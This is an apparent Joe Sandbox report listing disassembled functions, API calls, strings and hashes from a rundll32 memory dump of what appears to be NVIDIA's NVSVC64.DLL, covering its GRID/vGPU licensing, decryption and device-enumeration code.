Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: AddressLocalProc$AllocErrorLast$Free$AttributesConditionFileInfoMaskVerifyVersion
String ID: SetupDiDestroyDeviceInfoList$SetupDiGetDevicePropertyW$SetupGetInfDriverStoreLocationW$Setupapi.dll
API String ID: 479516965-190797902
Opcode ID: 0b715500c0f8fc41f574a7c5c59d9d46af33ce9e7985e7b075288412ebd2f598
Instruction ID: 504a169f1de5bf1f39e04ca5b3f7ba89bac3bcaa4cf04a9607f9c3b843d4f337
Opcode Fuzzy Hash: 0b715500c0f8fc41f574a7c5c59d9d46af33ce9e7985e7b075288412ebd2f598
Instruction Fuzzy Hash: 48A17E35A0AB42E2FB54DB15E84017963A5FF88BC0F444035EA8D437A5EF7DE925CB28

Function 00007FF8A8CFAF20 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 171memorylibraryloaderCOMMON

Download Yara Rule

APIs

VerSetConditionMask.KERNEL32 ref: 00007FF8A8CFAF86
VerSetConditionMask.KERNEL32 ref: 00007FF8A8CFAF96
VerSetConditionMask.KERNEL32 ref: 00007FF8A8CFAFA6
VerifyVersionInfoW.KERNEL32 ref: 00007FF8A8CFAFE0
GetFullPathNameW.KERNEL32 ref: 00007FF8A8CFB01E
LocalAlloc.KERNEL32 ref: 00007FF8A8CFB038
GetFullPathNameW.KERNEL32 ref: 00007FF8A8CFB055
GetProcAddress.KERNEL32 ref: 00007FF8A8CFB0A8
LocalAlloc.KERNEL32 ref: 00007FF8A8CFB118
LocalFree.KERNEL32 ref: 00007FF8A8CFB186
LocalFree.KERNEL32 ref: 00007FF8A8CFB1A3
LocalFree.KERNEL32 ref: 00007FF8A8CFB1AC

Strings

$, xrefs: 00007FF8A8CFAF50
*, xrefs: 00007FF8A8CFAF70
&, xrefs: 00007FF8A8CFAF65
SHGetFolderPathW, xrefs: 00007FF8A8CFB09E
Shell32.dll, xrefs: 00007FF8A8CFB086

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Local$ConditionFreeMask$AllocFullNamePath$AddressInfoProcVerifyVersion
String ID: $$&$*$SHGetFolderPathW$Shell32.dll
API String ID: 3471609363-2843092907
Opcode ID: 8640a03f4aaf58c663f57e001b194bfeddaab4f8c3ff8af08dbea0840aacfcf9
Instruction ID: 5368f12639b36c63277034af0d3530a5e76bdec55ff4edb13d23d375a8812818
Opcode Fuzzy Hash: 8640a03f4aaf58c663f57e001b194bfeddaab4f8c3ff8af08dbea0840aacfcf9
Instruction Fuzzy Hash: 4271BF71A0B742A2FB54DB11A8146B963A5FF88BC0F444039DE0E47751EF7CF8248B28

Function 00007FF8A8D7B720 Relevance: 28.3, APIs: 11, Strings: 5, Instructions: 321memoryCOMMON

Download Yara Rule

APIs

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7B7CD
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7B945

Part of subcall function 00007FF8A8D2E228: _Init_thread_footer.LIBCMT ref: 00007FF8A8D2E2EB

GetProcessHeap.KERNEL32 ref: 00007FF8A8D7BA23
HeapAlloc.KERNEL32 ref: 00007FF8A8D7BA31
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7BA56

Part of subcall function 00007FF8A8D7CB80: LoadLibraryW.KERNEL32 ref: 00007FF8A8D7CBD5
Part of subcall function 00007FF8A8D7CB80: GetLastError.KERNEL32 ref: 00007FF8A8D7CBE7
Part of subcall function 00007FF8A8D7CB80: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D7CC00
Part of subcall function 00007FF8A8D7CB80: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D7CE49
Part of subcall function 00007FF8A8D7CB80: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D7CE58
Part of subcall function 00007FF8A8D7CB80: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D7CE67
Part of subcall function 00007FF8A8D7CB80: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D7CE73

BCryptCloseAlgorithmProvider.BCRYPT ref: 00007FF8A8D7BC69
GetProcessHeap.KERNEL32 ref: 00007FF8A8D7BC73
HeapFree.KERNEL32 ref: 00007FF8A8D7BC81
BCryptDestroyKey.BCRYPT ref: 00007FF8A8D7BC90

Strings

Failed to generate symmetric key, xrefs: 00007FF8A8D7B7BA
GridCloudLicensingCryptoWindows.cpp, xrefs: 00007FF8A8D7B809, 00007FF8A8D7B980, 00007FF8A8D7BA90, 00007FF8A8D7BBC2
Failed to allocate memory, xrefs: 00007FF8A8D7BA43
Failed to decrypt data (0x%x) - (%s), xrefs: 00007FF8A8D7B932, 00007FF8A8D7BB73
cloudLicTSDecrypt, xrefs: 00007FF8A8D7B82F, 00007FF8A8D7B9A8, 00007FF8A8D7BAB7, 00007FF8A8D7BBEB

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Heap_invalid_parameter_noinfo_noreturnswprintf$CryptProcess$AlgorithmAllocCloseDestroyErrorFreeInit_thread_footerLastLibraryLoadProvider
String ID: Failed to allocate memory$Failed to decrypt data (0x%x) - (%s)$Failed to generate symmetric key$GridCloudLicensingCryptoWindows.cpp$cloudLicTSDecrypt
API String ID: 2854389447-713850402
Opcode ID: 8e5db5f4a7db09f163fea8d2fd5a66426e81deaa305d208767d4c252137c8f24
Instruction ID: 37802e09e986a198f7a3b9c3e2aba6856757b7b0d83b76787cae3c560b110946
Opcode Fuzzy Hash: 8e5db5f4a7db09f163fea8d2fd5a66426e81deaa305d208767d4c252137c8f24
Instruction Fuzzy Hash: BFF13B32A09B41A9EB20DF60E8406DE77B4FB44398F500236DA9C57B69EF3CE159CB54

Function 00007FF8A8DB9470 Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 205sleeplibraryloaderCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00007FF8A8DB94EE
TlsGetValue.KERNEL32 ref: 00007FF8A8DB9508
TlsGetValue.KERNEL32 ref: 00007FF8A8DB9527
CreateWaitableTimerA.KERNEL32 ref: 00007FF8A8DB9561
GetModuleHandleA.KERNEL32(?), ref: 00007FF8A8DB95AE
GetProcAddress.KERNEL32 ref: 00007FF8A8DB95BE
WaitForMultipleObjectsEx.KERNEL32 ref: 00007FF8A8DB966E
Sleep.KERNEL32 ref: 00007FF8A8DB969B
CloseHandle.KERNEL32 ref: 00007FF8A8DB96CC
TlsGetValue.KERNEL32 ref: 00007FF8A8DB96E2
ResetEvent.KERNEL32 ref: 00007FF8A8DB96EF
_CxxThrowException.LIBVCRUNTIME ref: 00007FF8A8DB9701
CloseHandle.KERNEL32 ref: 00007FF8A8DB9714
CloseHandle.KERNEL32 ref: 00007FF8A8DB972C

Strings

SetWaitableTimerEx, xrefs: 00007FF8A8DB95B7
KERNEL32.DLL, xrefs: 00007FF8A8DB95A7

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: HandleValue$Close$AddressCreateEventExceptionModuleMultipleObjectsProcResetSleepThrowTimerWaitWaitable
String ID: KERNEL32.DLL$SetWaitableTimerEx
API String ID: 484217208-2877992516
Opcode ID: 4715cab3ce99e94436d873c4ee6993d4b398b55e6045c3021ea16abfb4510cfb
Instruction ID: 5f7380710e15a94dcd84bf18817d83dd4338037efed58f2d0c8fc77ddc8949fa
Opcode Fuzzy Hash: 4715cab3ce99e94436d873c4ee6993d4b398b55e6045c3021ea16abfb4510cfb
Instruction Fuzzy Hash: C091B232A0AB82AAEB108F25A45452973A4FF457E0F540335DA7E437E4EF3CE819C724

Function 00007FF8A8D2E90C Relevance: 26.8, APIs: 3, Strings: 12, Instructions: 505stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A8D0EA24: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D0EA6E

Part of subcall function 00007FF8A8DBC670: GetFileAttributesW.KERNEL32 ref: 00007FF8A8DBC6B7

lstrcatW.KERNEL32 ref: 00007FF8A8D2EDFA
SHGetValueW.SHLWAPI ref: 00007FF8A8D2EE30
SHGetValueW.SHLWAPI ref: 00007FF8A8D2EE6E

Part of subcall function 00007FF8A8D57754: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D577DC

Part of subcall function 00007FF8A8D2E228: _Init_thread_footer.LIBCMT ref: 00007FF8A8D2E2EB

Strings

NvXDCore.cpp, xrefs: 00007FF8A8D2EA0E
SYSTEM\CurrentControlSet\Services\nvlddmkm\Global\GridLicensing, xrefs: 00007FF8A8D2EDEA
ProxyServerPort, xrefs: 00007FF8A8D2EE59
vGPU Licensing, xrefs: 00007FF8A8D2EB41, 00007FF8A8D2EB50
Failed to read configurations from client configuration token. Error :, xrefs: 00007FF8A8D2EA97
Initializing state machine for nvvsvc , xrefs: 00007FF8A8D2EFD5
ProxyServerAddress, xrefs: 00007FF8A8D2EE1B
InitGridCloudLicenseStateMachine, xrefs: 00007FF8A8D2EA15
TrustedStorage, xrefs: 00007FF8A8D2EB14, 00007FF8A8D2EB23
SOFTWARE\NVIDIA Corporation\Global\GridLicensing, xrefs: 00007FF8A8D2EDF3
Local storage directory:, xrefs: 00007FF8A8D2ED11
\NVIDIA Corporation, xrefs: 00007FF8A8D2EB82

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: DeallocateValuestd::_$AttributesFileInit_thread_footerlstrcat
String ID: Failed to read configurations from client configuration token. Error :$InitGridCloudLicenseStateMachine$Initializing state machine for nvvsvc $Local storage directory:$NvXDCore.cpp$ProxyServerAddress$ProxyServerPort$SOFTWARE\NVIDIA Corporation\Global\GridLicensing$SYSTEM\CurrentControlSet\Services\nvlddmkm\Global\GridLicensing$TrustedStorage$\NVIDIA Corporation$vGPU Licensing
API String ID: 2105504189-1287553087
Opcode ID: de54237209b21e900c89f71d870fed6715800c4f0a1de3a8308ca53b55b6232e
Instruction ID: afc5780ab5700dbc4b45fa2c0657d026c873880e338e8d676257dfff30ac3639
Opcode Fuzzy Hash: de54237209b21e900c89f71d870fed6715800c4f0a1de3a8308ca53b55b6232e
Instruction Fuzzy Hash: 9E326E32A16B81A9E710EF61E8401ED33B4FB457C8F801536DA5D57BAAEF38D218C754

Function 00007FF8A8CFDA48 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 155processCOMMON

Download Yara Rule

APIs

CreateEnvironmentBlock.USERENV ref: 00007FF8A8CFDAA0
GetLastError.KERNEL32 ref: 00007FF8A8CFDAAA
DestroyEnvironmentBlock.USERENV ref: 00007FF8A8CFDB57
GetSystemDirectoryW.KERNEL32 ref: 00007FF8A8CFDB96
PathAddBackslashW.SHLWAPI ref: 00007FF8A8CFDBA6
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8CFDBDB
CreateProcessAsUserW.ADVAPI32 ref: 00007FF8A8CFDC5B
GetLastError.KERNEL32 ref: 00007FF8A8CFDC65
CloseHandle.KERNEL32 ref: 00007FF8A8CFDC72
CloseHandle.KERNEL32 ref: 00007FF8A8CFDC7D

Strings

WinSta0\Default, xrefs: 00007FF8A8CFDBEF
%srundll32.exe %s%s,nvsvcErrorReport %d, xrefs: 00007FF8A8CFDBC8
NVSVC64.DLL, xrefs: 00007FF8A8CFDBAC

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: BlockCloseCreateEnvironmentErrorHandleLast$BackslashDestroyDirectoryPathProcessSystemUserswprintf
String ID: %srundll32.exe %s%s,nvsvcErrorReport %d$NVSVC64.DLL$WinSta0\Default
API String ID: 1123984594-3221355949
Opcode ID: 0519f0aa9fe9a1010cbe42dd1a385e2634014eeb4eb6fbf3ed9bb9b2cf37a51d
Instruction ID: ad5bd506fddc2d1c491aa1cf2a0439aa142c5e31fcf381094be319f572d467eb
Opcode Fuzzy Hash: 0519f0aa9fe9a1010cbe42dd1a385e2634014eeb4eb6fbf3ed9bb9b2cf37a51d
Instruction Fuzzy Hash: 5A618C32A0AB42A5FB51AF61E8402BE77A0FB857C4F400035DE5E43A95DF7CE955CB28

Function 00007FF8A8D179F8 Relevance: 25.3, APIs: 12, Strings: 2, Instructions: 783COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Deallocate.LIBCONCRT ref: 00007FF8A8D17DA7
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D17E3A
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D17EA4
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00007FF8A8D17F7B
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D1813D
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D18238

Part of subcall function 00007FF8A8D0EA24: std::_Deallocate.LIBCONCRT ref: 00007FF8A8D0EA6E

std::_Deallocate.LIBCONCRT ref: 00007FF8A8D1829D
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D17FBE

Part of subcall function 00007FF8A8D00920: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D0096B
Part of subcall function 00007FF8A8D00920: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D00971
Part of subcall function 00007FF8A8D00920: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D00977
Part of subcall function 00007FF8A8D00920: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D0097D
Part of subcall function 00007FF8A8D00920: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D00983

std::_Deallocate.LIBCONCRT ref: 00007FF8A8D18023
std::ios_base::_Ios_base_dtor.LIBCPMT ref: 00007FF8A8D180FA
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D181A2
std::_Deallocate.LIBCONCRT ref: 00007FF8A8D18333

Strings

%H:%M:%S, xrefs: 00007FF8A8D17AB5, 00007FF8A8D17ADB
%H:%M, xrefs: 00007FF8A8D17B3C, 00007FF8A8D17B62

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Deallocatestd::_$_invalid_parameter_noinfo_noreturn$Ios_base_dtorstd::ios_base::_
String ID: %H:%M$%H:%M:%S
API String ID: 1010869509-4074728551
Opcode ID: c9f013a2d77fcdbbbf855816d4a4bb38bbc75fe1b0b9f63c418a03429bee551e
Instruction ID: 29d4610e9f9a641439f210ecf01552b052326f93718ef33f1124096cacbee89d
Opcode Fuzzy Hash: c9f013a2d77fcdbbbf855816d4a4bb38bbc75fe1b0b9f63c418a03429bee551e
Instruction Fuzzy Hash: 2F72C722A1AAC6A5EB20DF35D8403ED6361FF457D8F805231EA6D17AE9DF38D648C314

Function 00007FF8A8CFC878 Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 202libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?,?,00000000,00000000,00000000,?,00007FF8A8CFBBB5), ref: 00007FF8A8CFC8DD
GetProcAddress.KERNEL32(00000000,?,?,00000000,00000000,00000000,?,00007FF8A8CFBBB5), ref: 00007FF8A8CFC90D
GetProcAddress.KERNEL32(00000000,?,?,00000000,00000000,00000000,?,00007FF8A8CFBBB5), ref: 00007FF8A8CFC93D
GetProcAddress.KERNEL32(00000000,?,?,00000000,00000000,00000000,?,00007FF8A8CFBBB5), ref: 00007FF8A8CFC96D
GetProcAddress.KERNEL32(00000000,?,?,00000000,00000000,00000000,?,00007FF8A8CFBBB5), ref: 00007FF8A8CFC99D

Part of subcall function 00007FF8A8CFAB70: VerSetConditionMask.KERNEL32 ref: 00007FF8A8CFABB0
Part of subcall function 00007FF8A8CFAB70: VerifyVersionInfoW.KERNEL32 ref: 00007FF8A8CFABDE

LocalAlloc.KERNEL32(?,?,00000000,00000000,00000000,?,00007FF8A8CFBBB5), ref: 00007FF8A8CFCA66
LocalFree.KERNEL32(?,?,00000000,00000000,00000000,?,00007FF8A8CFBBB5), ref: 00007FF8A8CFCB25

Strings

Setupapi.dll, xrefs: 00007FF8A8CFC8AE
SetupDiGetClassDevsW, xrefs: 00007FF8A8CFC8D3
SetupDiGetDeviceRegistryPropertyW, xrefs: 00007FF8A8CFC933
SetupDiDestroyDeviceInfoList, xrefs: 00007FF8A8CFC993
SetupDiGetDeviceInterfaceDetailW, xrefs: 00007FF8A8CFC963
SetupDiEnumDeviceInfo, xrefs: 00007FF8A8CFC903

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: AddressProc$Local$AllocConditionFreeInfoMaskVerifyVersion
String ID: SetupDiDestroyDeviceInfoList$SetupDiEnumDeviceInfo$SetupDiGetClassDevsW$SetupDiGetDeviceInterfaceDetailW$SetupDiGetDeviceRegistryPropertyW$Setupapi.dll
API String ID: 576420853-2811369298
Opcode ID: 54efa2f6256b3a210f47ed37694e6d5c69e2a3bfbd89194f0be96b3c32897933
Instruction ID: b95df4e612608533fd4db0b071a18f2262670f9f2736338c7101960aff0cef4e
Opcode Fuzzy Hash: 54efa2f6256b3a210f47ed37694e6d5c69e2a3bfbd89194f0be96b3c32897933
Instruction Fuzzy Hash: E0817F35B0BB12E2FB54DB16A84057562A1FF98BD0F488039CD4D437A0EF7DE9658728

Function 00007FF8A8D68920 Relevance: 21.3, APIs: 5, Strings: 7, Instructions: 292memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF8A8D70630: _invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF8A8D70656

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D68ADF
OpenMutexW.KERNEL32 ref: 00007FF8A8D68BBF
swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF8A8D68BEC

Part of subcall function 00007FF8A8D2E228: _Init_thread_footer.LIBCMT ref: 00007FF8A8D2E2EB

GetProcessHeap.KERNEL32 ref: 00007FF8A8D68E27
HeapFree.KERNEL32 ref: 00007FF8A8D68E35

Strings

Mutex init failed : %s, xrefs: 00007FF8A8D68BD9
GridCloudLicenseStateMachine.cpp, xrefs: 00007FF8A8D68B23, 00007FF8A8D68C29
NvXDCore.cpp, xrefs: 00007FF8A8D68925
Starting cloud license state machine in unlicensed state, xrefs: 00007FF8A8D68ACC
InitGridCloudLicenseStateMachine, xrefs: 00007FF8A8D68927
Global\GridLicenseUtilMutex-D2FCF701-B1AC-4158-B070-B5944D631573, xrefs: 00007FF8A8D68BB1, 00007FF8A8D68BD2
GridCloudLicenseStateMachine::GridCloudLicenseStateMachine, xrefs: 00007FF8A8D68B4B, 00007FF8A8D68C51

Memory Dump Source

Source File: 00000003.00000002.4538096939.00007FF8A8CF1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF8A8CF0000, based on PE: true

Associated: 00000003.00000002.4538037574.00007FF8A8CF0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538390729.00007FF8A8E21000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538576796.00007FF8A8E9E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538663993.00007FF8A8EA2000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538723630.00007FF8A8EAF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538794066.00007FF8A8EE3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538892968.00007FF8A8EE8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4538973313.00007FF8A8EED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.4539028330.00007FF8A8EFD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff8a8cf0000_rundll32.jbxd

Similarity

API ID: Heapswprintf$FreeInit_thread_footerMutexOpenProcess_invalid_parameter_noinfo_noreturn
String ID: Global\GridLicenseUtilMutex-D2FCF701-B1AC-4158-B070-B5944D631573$GridCloudLicenseStateMachine.cpp$GridCloudLicenseStateMachine::GridCloudLicenseStateMachine$InitGridCloudLicenseStateMachine$Mutex init failed : %s$NvXDCore.cpp$Starting cloud license state machine in unlicensed state
API String ID: 2775131440-2565526366
